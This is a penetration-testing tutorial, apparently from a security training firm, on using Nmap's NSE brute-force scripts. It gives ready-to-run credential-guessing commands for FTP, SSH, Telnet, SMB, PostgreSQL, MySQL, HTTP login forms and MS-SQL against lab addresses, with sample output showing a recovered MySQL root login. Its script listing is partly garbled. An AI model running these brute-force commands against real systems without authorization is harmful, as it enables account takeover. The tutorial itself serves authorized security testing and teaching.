

GOITE Technologies

Nmap for Pentester PASSWORD CRACKING

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## Introduction

The Nmap Scripting Engine (NSE) is one of Nmap's most powerful and flexible features. It allows users to write (and share) simple scripts to automate a wide variety of networking tasks. Those scripts are then executed in parallel with the speed and efficiency you expect from Nmap. The core of the Nmap Scripting Engine is an embeddable Lua interpreter. The second part of the Nmap Scripting Engine is the NSE Library, which connects Lua and Nmap.

NSE scripts define a list of categories that they belong to. Currently defined categories are auth, broadcast, brute, default. discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, and vuln.

But I mentioned above that in this demonstration we will be demonstrating the Nmap Brute script. These scripts use brute force attacks to guess the authentication credentials of a remote server. Nmap contains scripts for brute-forcing dozens of protocols, including HTTP-brute, Oracle-brute, SNMP-brute, etc.

To list all nse scripts for brute forces:

locate \*.nse | grep brute



```
kali)-[~]
     locate *.nse | grep brute
/usr/share/nmap/scripts/afp-brute.nse
/usr/share/nmap/scripts/ajp-brute.nse
                                     .nse
/usr/share/nmap/scripts/backorifice-bru
/usr/share/nmap/scripts/cassandra-brute
/usr/share/nmap/scripts/cics-user-brute.nse
/usr/share/nmap/scripts/citrix-brute-xml.nse
/usr/share/nmap/scripts/citrix-bm
/usr/share/nmap/scripts/cvs-brute
                                     -repository.nse
/usr/share/nmap/scripts/cvs-
                                     .nse
/usr/share/nmap/scripts/deluge-rpc-b
/usr/share/nmap/scripts/dicom-brute.nse
/usr/share/nmap/scripts/dns-br
/usr/share/nmap/scripts/domcon-
/usr/share/nmap/scripts/dpap-<mark>brut</mark>
/usr/share/nmap/scripts/drda-
/usr/share/nmap/scripts/ftp-brut
/usr/share/nmap/scripts/http-brute.nse
/usr/share/nmap/scripts/http-form-brute.nse
/usr/share/nmap/scripts/http-iis-short-name-bru
/usr/share/nmap/scripts/http-joomla-
/usr/share/nmap/scripts/http-proxy-b
/usr/share/nmap/scripts/http-wordpress-brute.nse
                                 orute.nse
/usr/share/nmap/scripts/iax2-b
/usr/share/nmap/scripts/imap-
/usr/share/nmap/scripts/informix-brute.nse
/usr/share/nmap/scripts/ipmi-bro
/usr/share/nmap/scripts/irc-b
                                     .nse
/usr/share/nmap/scripts/irc-sasl-brute
/usr/share/nmap/scripts/iscsi-brut
/usr/share/nmap/scripts/ldap-b
                                      .nse
/usr/share/nmap/scripts/membase-br
/usr/share/nmap/scripts/metasploit-msgrpc-brute
/usr/share/nmap/scripts/metasploit-xmlrpc-
/usr/share/nmap/scripts/mikrotik-routeros-
```

Simply specify -sC to enable the most common scripts. Or specify the --script option to choose your scripts to execute by providing categories, script file names, or the names of directories full of scripts you wish to execute. You can customise some scripts by providing arguments to them via the --script-args and --script-args-file options.

#### **FTP**

performs brute-force password auditing against FTP servers. All we need are dictionaries for usernames and passwords, which will be passed as arguments.

nmap -p21 --script ftp-brute.nse --script-args userdb=users.txt,passdb=pass.txt 192.168.1.150



## SSH

brute-force password guessing on SSH servers and connection timeout (default: "5s"). All we need are dictionaries for usernames and passwords, which will be passed as arguments.

nmap -p22 --script ssh-brute.nse --script-args userdb=users.txt,passdb=pass.txt 192.168.1.150

```
root  kali)-[~]

# nmap -p22 --script ssh-brute.nse --script-args userdb=users.txt,passdb=pass.txt 192.168.1.150

Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-05 17:06 EDT

NSE: [ssh-brute] Trying username/password pair: raj:raj

NSE: [ssh-brute] Trying username/password pair: ignite:ignite

NSE: [ssh-brute] Trying username/password pair: msfadmin:msfadmin
```

For valid username and password combination, it will dump the credential.

## **Telnet**

performs brute-force password auditing against telnet servers and connection timeout (default: "5s"). All we need are dictionaries for usernames and passwords, which will be passed as arguments.

nmap -p23 --script telnet-brute.nse --script-args userdb=users.txt,passdb=pass.txt 192.168.1.150



## **SMB**

Attempts to guess SMB username/password combinations, saving identified combinations for use in other scripts. Every effort will be made to get a genuine list of users and to validate each username before utilising it. When a username is identified, it is not only displayed but also kept in the Nmap registry for future use by other Nmap scripts.

All we need are dictionaries for usernames and passwords, which will be passed as arguments.

nmap -p445 --script smb-brute.nse --script-args userdb=users.txt,passdb=pass.txt 192.168.1.150

## **Postgres**

performs brute-force password auditing against telnet servers and connection timeout (default: "5s"). All we need are dictionaries for usernames and passwords, which will be passed as arguments.

nmap -p5432 --script pgsql-brute --script-args userdb=users.txt,passdb=pass.txt 192.168.1.150



## Mysql

brute-force password auditing on MySQL servers and connection timeout (default: "5s"). All we need are dictionaries for usernames and passwords, which will be passed as arguments.

nmap -p3306 --script mysql-brute --script-args userdb=users.txt 192.168.1.150

```
root kali)-[~]

# nmap -p3306 --script mysql-brute --script-args userdb=users.txt 192.168.1.150

Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-05 17:11 EDT

Nmap scan report for 192.168.1.150

Host is up (0.00021s latency).

PORT STATE SERVICE
3306/tcp open mysql

mysql-brute:
    Accounts:
    root:<empty> - Valid credentials
    Statistics: Performed 231 guesses in 81 seconds, average tps: 2.8

_ ERROR: The service seems to have failed or is heavily firewalled...

MAC Address: 00:0C:29:77:BA:E7 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 81.82 seconds
```

### **HTTP**

Performs brute force password auditing against HTTP form-based authentication. This script uses the unpwdb and brute libraries to perform password guessing. Any successful guesses are stored in the nmap registry, using the creds library, for other scripts to use.





Username		
Password		
	Login	

You have logged out

nmap -p 80 --script=http-form-brute --script-args "userdb=users.txt,passdb=pass.txt,http-form-brute.path=/dvwa/login.php" 192.168.1.150

## Ms-SQL

performs brute-force password auditing against Ms-SQL servers and connection timeout (default: "5s"). All we need are dictionaries for usernames and passwords, which will be passed as arguments.

nmap -p1433 --script ms-sql-brute --script-args userdb=users.txt,passdb=pass.txt 192.168.1.146



#### Reference:

https://nmap.org/book/nse-usage.html#nse-categories

https://nmap.org/nsedoc/scripts/http-form-brute.html





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